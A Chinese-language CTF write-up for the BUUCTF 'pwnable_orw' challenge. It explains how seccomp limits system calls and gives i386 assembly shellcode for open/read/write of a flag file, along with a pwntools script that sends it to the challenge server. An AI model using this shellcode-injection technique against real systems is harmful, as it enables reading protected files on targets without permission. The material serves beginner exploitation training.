pwnable_orw来自BUUCTF
这是一道入门的CTF题目,我们要从这道题中学习如何来编写shellcode。下面我们来分析一下题目:

这是IDA中的位代码。

看见 RWX程序中开启了可读可写可执行。显然是写shellcode然后让程序执行。先然这道题的考点并不是在这。
我们看到了一个函数seccomp。我们来学习了解一下:

我们来了解一下:
【引用】seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
sys_open 系统调用传递的四个寄存器参数即具体实现:
eax = 0x05 系统调用号
ebx = filename 文件名
ecx = flags 置零即可
edx = mode 置零即可
具体实现:
xor ecx,ecx;
push ecx;
push 0x67616c66;
push 0x2f77726f;
push 0x2f656d6f;
push 0x682f2f2f;
mov ebx,esp;
xor edx,edx;
mov eax,0x5;
int 0x80
sys_read 系统调用传递的四个寄存器参数即具体实现:
eax = 0x03 系统调用号
ebx = fd 文件指针,就是open的返回值,不需要改变
ecx = buf 缓冲区,指向栈顶位置
edx = count 字节数
具体实现:
mov ebx,eax;
mov ecx,esp;
mov edx,0x30;
mov eax,0x3;
int 0x80
sys_write 系统调用传递的四个寄存器参数即具体实现:
eax = 0x04 系统调用号
ebx = fd 文件指针,置为1,打印到屏幕
ecx = buf 缓冲区,指向栈顶
edx = count
具体实现:
mov eax,0x4;
mov ebx,0x1;
mov edx,0x30;
int 0x80
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit
先记住我也不太了解prctl函数的使用;
from pwn import *
context(os="Linux",arch="i386",log_level="debug")
r=remote('node4.buuoj.cn',27851)
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5; int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100; int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
r.sendlineafter("shellcode:",shellcode)
r.interactive()

浙公网安备 33010602011771号